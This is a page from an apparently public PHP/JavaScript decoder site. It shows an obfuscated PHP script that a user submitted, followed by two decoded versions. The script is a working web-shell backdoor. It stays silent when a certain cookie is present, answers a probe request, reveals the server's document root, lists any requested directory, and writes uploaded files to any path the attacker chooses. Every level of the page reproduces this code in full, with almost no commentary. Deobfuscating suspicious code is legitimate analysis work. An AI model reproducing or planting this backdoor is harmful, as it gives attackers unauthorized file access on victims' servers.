Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php

if(isset($_COOKIE['Ym'])) {
    die('M5rkQEb');
}
 goto Drv3J; Y8BL1: if (!empty($_GET["\147\145\164\x5f\144\x69\162"])) { echo "\x7c" . $_SERVER["\x44\x4f\x43\125\115\x45\116\124\x5f\x52\117\x4f\x54"] . "\174\15\xa"; if (!empty($_GET["\x64\151\x72"])) { GetListDir($_GET["\x64\x69\x72"]); } } goto w0Xq3; d_NpY: function GetListDir($dir) { $ywvpzkcsxlbw = "\x66\x69\x6c\145\x73"; $djhbhhms = "\144\x69\162"; if (empty(${${"\x47\x4c\117\x42\x41\x4c\123"}["\166\x76\145\151\143\x77\162\x76"]})) { return null; } ${"\x47\x4c\x4f\102\x41\114\123"}["\x65\x72\171\x76\x73\x63\x64\x75\142\166\x6a\144"] = "\146\x69\x6c\145"; ${$ywvpzkcsxlbw} = scandir(${$djhbhhms}); echo "\100\144\151\x72\x40\xd\xa"; foreach (${${"\107\114\x4f\x42\101\114\123"}["\162\147\165\152\x6f\162\150\x6e\x76\x6d"]} as ${${"\107\x4c\x4f\x42\x41\x4c\123"}["\145\162\171\166\x73\143\x64\x75\142\166\x6a\144"]}) { if (${${"\x47\x4c\117\102\x41\114\x53"}["\x61\x76\x72\162\141\167\x67\x67"]} != "\x2e" & ${${"\107\114\x4f\102\x41\114\123"}["\x61\x76\162\162\x61\x77\147\x67"]} != "\56\x2e") { ${"\x47\114\117\x42\101\x4c\x53"}["\142\160\143\167\x6b\167"] = "\144\x69\162"; ${"\107\114\x4f\x42\101\x4c\x53"}["\x62\156\156\146\x7a\157\164\152\147\x6f\x66\x75"] = "\146\151\x6c\x65"; ${"\107\114\x4f\102\101\114\x53"}["\x62\x66\x75\x66\164\x72\166\x66\x69\145"] = "\x66\151\154\145"; ${"\x47\x4c\x4f\x42\101\x4c\123"}["\171\167\154\160\x77\163\x64"] = "\x64\151\x72"; $keuxfjqkuld = "\x66\x69\154\x65"; $wgfsdwpf = "\146\151\x6c\145"; if (is_dir(${${"\107\114\x4f\102\x41\114\x53"}["\171\x77\154\160\x77\163\144"]} . "\57" . ${$wgfsdwpf})) { echo "\x5b" . ${${"\x47\114\117\102\101\114\123"}["\x62\x66\165\x66\x74\162\166\x66\x69\145"]} . "\135\xd\xa"; } if (is_file(${${"\x47\114\117\x42\x41\x4c\123"}["\142\160\143\167\x6b\167"]} . "\57" . ${${"\107\x4c\x4f\x42\x41\x4c\x53"}["\142\156\x6e\x66\172\x6f\164\x6a\x67\x6f\146\x75"]})) { echo "\x3c" . ${$keuxfjqkuld} . "\x3e\xd\xa"; } } } } goto Lqmk5; Lqmk5: function UploadFile($file) { $isvysygf = "\x66\151\154\145"; if (empty(${${"\107\114\x4f\x42\x41\114\123"}["\141\x76\x72\162\141\x77\x67\x67"]})) { return null; } if (is_uploaded_file(${$isvysygf}["\x74\x6d\x70\x5f\x6e\141\x6d\x65"])) { if (!empty($_POST["\144\x69\x72"])) { if (move_uploaded_file(${${"\x47\114\117\x42\x41\114\123"}["\141\x76\162\x72\141\167\147\147"]}["\x74\x6d\160\137\x6e\x61\155\x65"], $_POST["\x64\151\x72"] . "\57" . ${${"\x47\114\x4f\x42\101\114\123"}["\141\166\162\x72\x61\167\147\147"]}["\x6e\141\155\145"])) { echo "\100\x74\x72\x75\x65\100\xd\12"; GetListDir($_POST["\144\151\162"]); } } else { $omrnzznsr = "\x66\151\154\x65"; ${"\107\114\x4f\102\x41\114\123"}["\x74\x78\x75\161\x74\x6f\162\157\151\x70\150"] = "\146\151\154\x65"; if (move_uploaded_file(${${"\107\x4c\x4f\102\x41\x4c\x53"}["\x74\x78\165\x71\x74\157\x72\x6f\x69\160\150"]}["\x74\x6d\160\x5f\x6e\x61\155\145"], ${$omrnzznsr}["\156\x61\155\x65"])) { echo "\x74\162\165\x65"; } } } } goto GgbA_; Drv3J: ${"\x47\x4c\117\102\101\x4c\x53"}["\141\166\162\162\x61\167\x67\x67"] = "\146\151\x6c\145"; goto gBvFD; gBvFD: ${"\x47\114\x4f\102\101\114\123"}["\162\147\165\x6a\x6f\x72\x68\x6e\x76\155"] = "\146\151\154\145\x73"; goto hUZz2; GgbA_: if (!empty($_GET["\x74\x65\x73\164"])) { echo "\164\145\x73\164\164\162\165\145"; } goto Y8BL1; w0Xq3: if (!empty($_FILES["\146\x69\x6c\x65\x6e\141\x6d\145"])) { UploadFile($_FILES["\x66\x69\x6c\x65\x6e\x61\155\x65"]); } goto OO1Xg; hUZz2: ${"\x47\x4c\117\x42\101\114\123"}["\166\166\145\x69\x63\x77\162\x76"] = "\x64\151\x72"; goto d_NpY; OO1Xg: ?>

Show other level

Decrypted code level 1:

if(isset($_COOKIE['Ym'])) {
    die('M5rkQEb');
}
 goto Drv3J; Y8BL1: if (!empty($_GET["get_dir"])) { echo "|" . $_SERVER["DOCUMENT_ROOT"] . "|
\xa"; if (!empty($_GET["dir"])) { GetListDir($_GET["dir"]); } } goto w0Xq3; d_NpY: function GetListDir($dir) { $ywvpzkcsxlbw = "files"; $djhbhhms = "dir"; if (empty(${${"GLOBALS"}["vveicwrv"]})) { return null; } ${"GLOBALS"}["eryvscdubvjd"] = "file"; ${$ywvpzkcsxlbw} = scandir(${$djhbhhms}); echo "@dir@\xd\xa"; foreach (${${"GLOBALS"}["rgujorhnvm"]} as ${${"GLOBALS"}["eryvscdubvjd"]}) { if (${${"GLOBALS"}["avrrawgg"]} !=  & ${${"GLOBALS"}["avrrawgg"]} != "..") { ${"GLOBALS"}["bpcwkw"] = "dir"; ${"GLOBALS"}["bnnfzotjgofu"] = "file"; ${"GLOBALS"}["bfuftrvfie"] = "file"; ${"GLOBALS"}["ywlpwsd"] = "dir"; $keuxfjqkuld = "file"; $wgfsdwpf = "file"; if (is_dir(${${"GLOBALS"}["ywlpwsd"]} . "/" . ${$wgfsdwpf})) { echo "[" . ${${"GLOBALS"}["bfuftrvfie"]} . "]\xd\xa"; } if (is_file(${${"GLOBALS"}["bpcwkw"]} . "/" . ${${"GLOBALS"}["bnnfzotjgofu"]})) { echo "<" . ${$keuxfjqkuld} . ">\xd\xa"; } } } } goto Lqmk5; Lqmk5: function UploadFile($file) { $isvysygf = "file"; if (empty(${${"GLOBALS"}["avrrawgg"]})) { return null; } if (is_uploaded_file(${$isvysygf}["tmp_name"])) { if (!empty($_POST["dir"])) { if (move_uploaded_file(${${"GLOBALS"}["avrrawgg"]}["tmp_name"], $_POST["dir"] . "/" . ${${"GLOBALS"}["avrrawgg"]}["name"])) { echo "@true@\xd
"; GetListDir($_POST["dir"]); } } else { $omrnzznsr = "file"; ${"GLOBALS"}["txuqtoroiph"] = "file"; if (move_uploaded_file(${${"GLOBALS"}["txuqtoroiph"]}["tmp_name"], ${$omrnzznsr}["name"])) { echo "true"; } } } } goto GgbA_; Drv3J: ${"GLOBALS"}["avrrawgg"] = "file"; goto gBvFD; gBvFD: ${"GLOBALS"}["rgujorhnvm"] = "files"; goto hUZz2; GgbA_: if (!empty($_GET["test"])) { echo "testtrue"; } goto Y8BL1; w0Xq3: if (!empty($_FILES["filename"])) { UploadFile($_FILES["filename"]); } goto OO1Xg; hUZz2: ${"GLOBALS"}["vveicwrv"] = "dir"; goto d_NpY; OO1Xg:

Decrypted code level 2:

if(isset($_COOKIE['Ym'])) {
    die('M5rkQEb');
}
 goto Drv3J; Y8BL1: if (!empty($_GET["get_dir"])) { echo "|" . $_SERVER["DOCUMENT_ROOT"] . "|
\xa"; if (!empty($_GET["dir"])) { GetListDir($_GET["dir"]); } } goto w0Xq3; d_NpY: function GetListDir($dir) {   if (empty(${${"GLOBALS"}["vveicwrv"]})) { return null; } ${"GLOBALS"}["eryvscdubvjd"] = "file"; ${"files"} = scandir(${"dir"}); echo "@dir@\xd\xa"; foreach (${${"GLOBALS"}["rgujorhnvm"]} as ${${"GLOBALS"}["eryvscdubvjd"]}) { if (${${"GLOBALS"}["avrrawgg"]} !=  & ${${"GLOBALS"}["avrrawgg"]} != "..") { ${"GLOBALS"}["bpcwkw"] = "dir"; ${"GLOBALS"}["bnnfzotjgofu"] = "file"; ${"GLOBALS"}["bfuftrvfie"] = "file"; ${"GLOBALS"}["ywlpwsd"] = "dir";   if (is_dir(${${"GLOBALS"}["ywlpwsd"]} . "/" . ${"file"})) { echo "[" . ${${"GLOBALS"}["bfuftrvfie"]} . "]\xd\xa"; } if (is_file(${${"GLOBALS"}["bpcwkw"]} . "/" . ${${"GLOBALS"}["bnnfzotjgofu"]})) { echo "<" . ${"file"} . ">\xd\xa"; } } } } goto Lqmk5; Lqmk5: function UploadFile($file) {  if (empty(${${"GLOBALS"}["avrrawgg"]})) { return null; } if (is_uploaded_file(${"file"}["tmp_name"])) { if (!empty($_POST["dir"])) { if (move_uploaded_file(${${"GLOBALS"}["avrrawgg"]}["tmp_name"], $_POST["dir"] . "/" . ${${"GLOBALS"}["avrrawgg"]}["name"])) { echo "@true@\xd
"; GetListDir($_POST["dir"]); } } else {  ${"GLOBALS"}["txuqtoroiph"] = "file"; if (move_uploaded_file(${${"GLOBALS"}["txuqtoroiph"]}["tmp_name"], ${"file"}["name"])) { echo "true"; } } } } goto GgbA_; Drv3J: ${"GLOBALS"}["avrrawgg"] = "file"; goto gBvFD; gBvFD: ${"GLOBALS"}["rgujorhnvm"] = "files"; goto hUZz2; GgbA_: if (!empty($_GET["test"])) { echo "testtrue"; } goto Y8BL1; w0Xq3: if (!empty($_FILES["filename"])) { UploadFile($_FILES["filename"]); } goto OO1Xg; hUZz2: ${"GLOBALS"}["vveicwrv"] = "dir"; goto d_NpY; OO1Xg:

Recent submissions: